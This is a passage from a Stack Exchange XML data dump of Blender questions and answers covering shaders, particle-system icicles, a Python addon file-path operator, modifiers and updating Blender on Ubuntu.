&lt;em&gt;Distribute&lt;/em&gt; button in it, and choose the axis (X Y and/or Z), then click OK.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xKYCQ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zeuLC.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;NOTE: The order in which the objects are selected is quite important, which determines how you want to distribute them, as shown below.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WLaO1.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Manual page for this addon see &lt;a href=&quot;https://docs.blender.org/manual/en/latest/addons/object/oscurart_tools.html#oscurart-tools&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. Btw, Oscurart Tools is much more powerful other than distribute.&lt;/p&gt;&#xA;&lt;p&gt;Note: This addon has been removed from Blender via &lt;a href=&quot;https://developer.blender.org/rBA731efb680132e3d5f846cae9b448a74a7b74a9b8&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.blender.org/rBA731efb680132e3d5f846cae9b448a74a7b74a9b8&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="207" LastEditDate="2021-01-18T16:17:33.340" LastActivityDate="2021-01-18T16:17:33.340" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="5164" PostTypeId="2" ParentId="5158" CreationDate="2013-11-29T04:37:05.500" Score="2" Body="&lt;p&gt;You can render an image with a transparent background without compositing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For cycles you enable a transparent background in the Film panel -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pQ2Fr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same result can be achieved in Blender internal under Shading by choosing transparent instead of Sky for Alpha -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PfdaX.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-11-29T04:37:05.500" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5165" PostTypeId="1" AcceptedAnswerId="10777" CreationDate="2013-11-29T05:42:43.770" Score="15" ViewCount="3730" Body="&lt;p&gt;If I understand correctly, the roughness value on the glossy shader controls the amount of random scattering of rays that reflect of the surface of the object, with &lt;code&gt;0&lt;/code&gt; being no scattering and &lt;code&gt;1&lt;/code&gt; being totally random scattering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would make a glossy shader with a roughness of &lt;code&gt;1&lt;/code&gt; equivalent to a diffuse shader, which is not the case:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lHdUT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is different about the glossy shader that causes the darkening?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2016-11-18T12:52:55.113" Title="What is the technical difference between a diffuse shader and a rough glossy shader?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;light&gt;&lt;shaders&gt;" AnswerCount="5" CommentCount="4" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5166" PostTypeId="1" AcceptedAnswerId="9415" CreationDate="2013-11-29T05:50:05.273" Score="7" ViewCount="2683" Body="&lt;p&gt;Is there a way to create icicles,&#xA;for example like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://upload.wikimedia.org/wikipedia/commons/thumb/c/c4/Icicles_forming.jpg/602px-Icicles_forming.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking if there was some way to use a &lt;em&gt;Snake Hook&lt;/em&gt; brush on many random places at once with different strengths etc., but I don't know if this is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Image from &lt;a href=&quot;http://en.wikipedia.org/wiki/File:Icicles_forming.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.107" LastActivityDate="2014-05-16T04:15:51.687" Title="How to create icicles hanging off an object?" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5167" PostTypeId="1" AcceptedAnswerId="44314" CreationDate="2013-11-29T05:58:38.450" Score="15" ViewCount="17767" Body="&lt;p&gt;What does the &lt;em&gt;Roughness&lt;/em&gt; setting value in a &lt;em&gt;Diffuse&lt;/em&gt; shader actually do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/Shaders#Diffuse&quot; rel=&quot;noreferrer&quot;&gt;wiki&lt;/a&gt; says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Surface roughness; 0.0 gives standard Lambertian reflection, higher values activate the Oren-Nayar BSDF. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But what does this mean in terms of how rays are affected?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Roughness of &lt;code&gt;1&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sVz51.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Roughness of &lt;code&gt;0&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/q018Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The results are different, but what are the technical differences of how these shaders are calculated?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-11-30T01:54:53.767" LastActivityDate="2016-11-15T22:52:43.080" Title="What does the Roughness setting on a diffuse shader do?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;light&gt;&lt;shaders&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5168" PostTypeId="2" ParentId="5167" CreationDate="2013-11-29T09:23:01.803" Score="8" Body="&lt;p&gt;In your example of the sphere there is not a notable difference, however if you use a mesh with more edges, you notice the difference. The image below has been taken from &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/Shaders&quot; rel=&quot;noreferrer&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/Shaders&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9MNMy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the mesh with more roughness shows more shadow around the edges. This is because rough surfaces reflect less light and show more shading than smooth surfaces.&lt;/p&gt;&#xA;" OwnerUserId="791" LastActivityDate="2013-11-29T09:23:01.803" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5169" PostTypeId="2" ParentId="5166" CreationDate="2013-11-29T09:49:52.180" Score="4" Body="&lt;p&gt;You could use a Particle System of type &lt;code&gt;Hair&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make a plane and apply a particle system to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also make an icicle as a separate object, or make several and make a group out of them.&#xA;Remember to set the origin of each icicle to where it should start growing on the plain, and also &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; apply rotation&amp;amp;scale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the particle system properties, go to &lt;code&gt;Render&lt;/code&gt;. If you made just one icicle, choose the &lt;code&gt;Object&lt;/code&gt; tab and your icicle as &lt;code&gt;Dupli Object&lt;/code&gt;. If you made several, go to &lt;code&gt;Group&lt;/code&gt; tab and choose your group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then play with settings in particle system to get correct rotations, placements and scale. Randomness can be applied to all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a quick result with only one icicle object (open image in new tab to see full size):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oU19h.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/dpEjk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to fine-tune location of icicles, set &lt;code&gt;Particles/Face = 1&lt;/code&gt; and edit the faces on the plane to exactly where each icicle should originate. Remember to set matching count to amount of faces.&lt;/p&gt;&#xA;" OwnerUserId="1574" LastActivityDate="2013-11-29T09:49:52.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5170" PostTypeId="1" AcceptedAnswerId="5171" CreationDate="2013-11-29T10:38:20.503" Score="4" ViewCount="2969" Body="&lt;p&gt;I have to allow users of my addon to select a path via the directory browser window of blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of using this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aRWzf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used Operator in panel to get the folder path from user as follows&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tsfQ3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried lot of ways and I referred &lt;a href=&quot;https://blender.stackexchange.com/questions/2382/how-to-add-a-select-path-input-in-a-ui-addon-script&quot;&gt;this&lt;/a&gt; and still trying....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code, for operator to browser the folder and set it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class OBJECT_OT_find(bpy.types.Operator):&#xA;bl_idname = &quot;object.find&quot;&#xA;bl_label = &quot;Select Path &quot;&#xA;&#xA;directory = StringProperty(maxlen=1024, subtype='FILE_PATH', options={'HIDDEN', 'SKIP_SAVE'})&#xA;filter_image = BoolProperty(default=True, options={'HIDDEN', 'SKIP_SAVE'})&#xA;filter_folder = BoolProperty(default=True, options={'HIDDEN', 'SKIP_SAVE'})&#xA;filter_glob = StringProperty(default=&quot;&quot;, options={'HIDDEN', 'SKIP_SAVE'})&#xA;&#xA;def execute(self, context):&#xA;    # what to write&#xA;    return {'FINISHED'}&#xA;&#xA;def draw(self, context):&#xA;    self.layout.operator('file.select_all_toggle')        &#xA;&#xA;def invoke(self, context, event):&#xA;    wm = context.window_manager&#xA;    wm.fileselect_add(self)&#xA;    return {'RUNNING_MODAL'}&#xA;&#xA;def register():&#xA; bpy.utils.register_class(OBJECT_OT_find)&#xA; bpy.utils.register_module(__name__)&#xA; bpy.types.Scene.FPath = StringProperty(name=&quot;Set Source to Find&quot;,&#xA;  attr=&quot;custompath&quot;,&#xA;  description=&quot;searching Images&quot;,&#xA;  maxlen= 1024,&#xA;  subtype='DIR_PATH',&#xA;  default= &quot;&quot;)&#xA;def unregister():&#xA; bpy.utils.register_class(OBJECT_OT_find)&#xA; bpy.utils.unregister_module(__name__)&#xA; del bpy.types.Scene.FPath&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I get that path? I want to store and read it.&lt;/p&gt;&#xA;" OwnerUserId="1501" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2013-12-02T12:14:52.020" Title="How do I get a user defined filepath in Blender with python?" Tags="&lt;scripting&gt;&lt;python&gt;&lt;file-browser&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5171" PostTypeId="2" ParentId="5170" CreationDate="2013-11-29T15:06:21.390" Score="5" Body="&lt;p&gt;As far as I know, it's bad practice to create the custom property for the scene in the &lt;code&gt;register&lt;/code&gt; function. You can do this in the &lt;code&gt;execute&lt;/code&gt; function. Also you shouldn't create it on &lt;code&gt;bpy.types.Scene&lt;/code&gt; but on the current scene itself.&#xA;For the &lt;code&gt;execute&lt;/code&gt; function you can use this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def execute(self, context):&#xA;    d = self.properties.directory&#xA;    bpy.context.scene['image_filepath'] = d   #store the path for later use&#xA;    [...]&#xA;    return {'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You only need the &lt;code&gt;bpy.context.scene['image_filepath'] = d&lt;/code&gt; if you want to store the path for later use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can simplify your &lt;code&gt;register&lt;/code&gt; and &lt;code&gt;unregister&lt;/code&gt; functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can now run your operator and choose a folder to do something with. If you later want to access the path to the folder you can use &lt;code&gt;bpy.context.scene['image_filepath']&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="668" LastEditorUserId="668" LastEditDate="2013-12-02T12:14:52.020" LastActivityDate="2013-12-02T12:14:52.020" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5172" PostTypeId="1" AcceptedAnswerId="5175" CreationDate="2013-11-29T20:20:21.033" Score="6" ViewCount="3747" Body="&lt;p&gt;How to make a gradual transition between two shaders, depending on the normal of the surface against the angle of the view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The use case is I want to make bubbles of a white, somewhat opaque, liquid. When passing through the center (from the camera) it will pass through minimal liquid so it is most transparent there. When a ray passes near the rim it will pass through maximum liquid and be most opaque there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will just mix a transparent and opaque material. If the normal faces the camera, select the transparent material. If the normal is perpendicular to the camera, select the opaque material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried fresnel but it is meant for items refracting light.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried the normal node but can't get it to work. I think that if I just use this correctly, this is the right way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried taking the normal of the object, normalize it and dot-product with the camera normal (normalized). It gives the result below. It is in the right ballpark, but not correct. Nevermind that it is black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5QsrN.png&quot; alt=&quot;preview of material with dot-product mix shader factor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I reverse the shaders I will get something like a puff of smoke, gradually becoming transparent at the edges.&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="12" LastEditDate="2013-11-29T22:05:23.550" LastActivityDate="2013-11-29T22:05:23.550" Title="How to mix shaders depending on the direction normals are facing?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5175" PostTypeId="2" ParentId="5172" CreationDate="2013-11-29T20:50:33.503" Score="5" Body="&lt;p&gt;Try using the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/More#Layer_Weight&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Layer weight&lt;/em&gt;&lt;/a&gt; node with the &lt;em&gt;Facing&lt;/em&gt; value as a mix factor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UqGHq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;Layer weight&lt;/em&gt; node gives a map based on the angle of the surface to the camera:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ljUfu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When used to mix a diffuse and a transparent shader:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tO3oK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Blending:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;Blend&lt;/em&gt; value controls the blending between angles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a low &lt;em&gt;Blend&lt;/em&gt; value:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v02nr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a high &lt;em&gt;Blend&lt;/em&gt; value:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/77qMu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As mentioned by CharlesL you could further control the blending with a &lt;em&gt;Color Ramp&lt;/em&gt; node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SjEG9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/imVQE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-11-29T21:15:15.563" LastActivityDate="2013-11-29T21:15:15.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5176" PostTypeId="1" CreationDate="2013-11-29T22:56:52.093" Score="3" ViewCount="1376" Body="&lt;p&gt;Is there anyway of making some hair I modelled thicker because what I currently have is too thin and I want it to be a bit thicker.&lt;/p&gt;&#xA;" OwnerUserId="1707" LastEditorUserId="12" LastEditDate="2013-11-29T23:47:24.587" LastActivityDate="2020-10-06T02:04:20.613" Title="How can I thicken mesh hair?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5177" PostTypeId="2" ParentId="5176" CreationDate="2013-11-30T00:03:00.687" Score="2" Body="&lt;p&gt;Since you are modeling the hair and going for an anime style. The &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/modifiers/generate/solidify.html#solidify-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Solidify&lt;/em&gt;&lt;/a&gt; modifier should do this quite well. It might seem subtle but you will get the depth you want.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qHeWZ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Flat mesh hair.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P4DNB.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Mesh hair with solidify modifier.&lt;/p&gt;&#xA;&lt;p&gt;After using the modifier, you can apply it and tweak the mesh even further to get better results. Using the modifier is better than just extruding and tweaking as it will do this evenly for your entire mesh.&lt;/p&gt;&#xA;&lt;p&gt;You can get some unique styles as well if you smooth the hair with a subsurf modifier and play with the settings.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lw8nx.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="15924" LastEditDate="2020-10-06T02:04:20.613" LastActivityDate="2020-10-06T02:04:20.613" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="5178" PostTypeId="1" AcceptedAnswerId="5179" CreationDate="2013-11-30T03:24:13.483" Score="4" ViewCount="466" Body="&lt;p&gt;I am using Blender to do video editing, for most part it has been great. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been using these tutorials : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see from the video there seems to be Modifier section in properties of the strip modifier. &#xA;&lt;a href=&quot;http://youtu.be/9hR2zNBxh68?t=50s&quot; rel=&quot;nofollow&quot;&gt;http://youtu.be/9hR2zNBxh68?t=50s&lt;/a&gt;&#xA;And this one&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blendtuts.com/video_editing&quot; rel=&quot;nofollow&quot;&gt;http://www.blendtuts.com/video_editing&lt;/a&gt;   (if you jump to 20 mins)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But on mine there is no section like that, I am using Blender 2.62 on Ubuntu 12.04&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to enable this modifiers section. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="1715" LastEditorUserId="1715" LastEditDate="2013-11-30T06:30:21.047" LastActivityDate="2020-10-06T02:04:37.030" Title="Can't find the Modifier section in Strip properties to use curves" Tags="&lt;modifiers&gt;&lt;video-sequence-editor&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5179" PostTypeId="2" ParentId="5178" CreationDate="2013-11-30T04:34:26.453" Score="3" Body="&lt;p&gt;The reason why is simple, this feature is not in Blender 2.62. I wasn't able to find the exact version it was added but looking at the videos. I would say any version 2.68 or higher will have strip modifiers.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-11-30T04:47:16.540" LastActivityDate="2013-11-30T04:47:16.540" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5180" PostTypeId="1" AcceptedAnswerId="5181" CreationDate="2013-11-30T05:07:56.480" Score="6" ViewCount="4124" Body="&lt;p&gt;I moved the object below with the grab tool and the origin did not update.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/H2jAp.png&quot; alt=&quot;Origin not updating&quot;&gt;&lt;br&gt;&#xA;This occurs whenever the object is moved (with any transform tool, in any manner).  Nothing in this scene has parenting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe that this issue may have been aggravated by repeated use of setting the 3D cursor position, then setting object origins to it.  As a matter of fact, they move together!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some things that I tried to remedy the situation, none of which worked:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Setting the object's origin to its geometry&lt;/li&gt;&#xA;  &lt;li&gt;Clearing object origin&lt;/li&gt;&#xA;  &lt;li&gt;Applying transforms&lt;/li&gt;&#xA;  &lt;li&gt;All items under the &quot;snap&quot; and &quot;set origin&quot; menus.&lt;/li&gt;&#xA;  &lt;li&gt;Selecting different objects (the origin never moves... it might still be the origin of the object in the picture)&lt;/li&gt;&#xA;  &lt;li&gt;Selecting/deselecting all objects&lt;/li&gt;&#xA;  &lt;li&gt;Saving to a different file and opening.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As, err, &lt;em&gt;intriguing&lt;/em&gt; as it is that the origin is permanently locked into the 3D cursor's place, I want to know if anybody can find a solution to this.&lt;/p&gt;&#xA;" OwnerUserId="1038" LastEditorUserId="1038" LastEditDate="2016-11-21T06:33:03.483" LastActivityDate="2016-11-21T06:33:03.483" Title="Origin not updating with transforms" Tags="&lt;objects&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5181" PostTypeId="2" ParentId="5180" CreationDate="2013-11-30T05:25:30.213" Score="8" Body="&lt;p&gt;This is because your pivot point is set to &lt;em&gt;3D Cursor&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aKrXN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To have the &lt;em&gt;3D manipulator widget&lt;/em&gt; move with the model and not stick to where the 3d cursor is, you can use the default &lt;em&gt;Bounding Box Center&lt;/em&gt; or just press &lt;kbd&gt;,&lt;/kbd&gt; (comma). If you work with both, you can also use its shortcut &lt;kbd&gt;.&lt;/kbd&gt; (period) to quickly switch between them.&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2013-11-30T05:25:30.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5182" PostTypeId="2" ParentId="5178" CreationDate="2013-11-30T08:15:34.057" Score="2" Body="&lt;p&gt;As &lt;a href=&quot;https://blender.stackexchange.com/a/5179/599&quot;&gt;iKlsR said&lt;/a&gt;, this feature is not in 2.62.&lt;/p&gt;&#xA;&lt;p&gt;To do this kind of manipulation with 2.62 you will need to use the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/compositing/introduction.html#introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Compositor&lt;/em&gt;&lt;/a&gt;.&lt;br /&gt;&#xA;You can adjust the brightness/contrast in the compositor with a &lt;a href=&quot;https://docs.blender.org/manual/en/latest/compositing/types/color/bright_contrast.html#bright-contrast-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;BrightContrast&lt;/em&gt;&lt;/a&gt; node or an &lt;a href=&quot;https://docs.blender.org/manual/en/latest/compositing/types/color/rgb_curves.html#rgb-curves-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;RGB Curves&lt;/em&gt;&lt;/a&gt; node.&lt;/p&gt;&#xA;&lt;h1&gt;However, I would &lt;em&gt;highly&lt;/em&gt; recommend updating your version of blender.&#xA;Updating blender:&lt;/h1&gt;&#xA;&lt;p&gt;For Ubuntu, you can install up to date versions of blender by using the &lt;a href=&quot;https://launchpad.net/%7Eirie/+archive/blender&quot; rel=&quot;nofollow noreferrer&quot;&gt;irie PPA&lt;/a&gt;. Add the PPA to your sources with:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo add-apt-repository ppa:irie/blender&#xA;sudo apt-get update&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;See &lt;a href=&quot;https://askubuntu.com/q/169542/183331&quot;&gt;this post on AskUbuntu&lt;/a&gt; for more details.&lt;/p&gt;&#xA;&lt;p&gt;You can also use portable versions from &lt;a href=&quot;http://www.blender.org/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender.org&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Download the tarball and extract&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run the &lt;code&gt;blender&lt;/code&gt; executable in the extracted directory to run blender&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(Optional) create a launcher &lt;code&gt;.desktop&lt;/code&gt; file, see &lt;a href=&quot;https://askubuntu.com/questions/78730/how-do-i-add-a-custom-launcher&quot;&gt;this post on AskUbuntu&lt;/a&gt; for more information.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Note that you can have multiple portable versions of blender at one time.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Also see &lt;a href=&quot;https://blender.stackexchange.com/questions/3438/where-can-i-get-blender-test-builds&quot;&gt;Where can I get Blender test builds?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-10-06T02:04:37.030" LastActivityDate="2020-10-06T02:04:37.030" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="5183" PostTypeId="1" AcceptedAnswerId="5185" CreationDate="2013-11-30T08:42:12.577" Score="9" ViewCount="6974" Body="&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Perspective_%28graphical%29#Two-point_perspective&quot;&gt;&lt;strong&gt;Two-point perspective&lt;/strong&gt;&lt;/a&gt; render is very popular for rendering architectures. In Yafaray, there is an &lt;a href=&quot;http://www.yafaray.org/documentation/userguide/objects#Architect&quot;&gt;&lt;em&gt;Architect Camera&lt;/em&gt;&lt;/a&gt; to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to achieve this in BI and/or Cycles?&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="599" LastEditDate="2013-11-30T09:06:19.373" LastActivityDate="2013-12-01T00:37:36.303" Title="How to make a two-point perspective render?" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
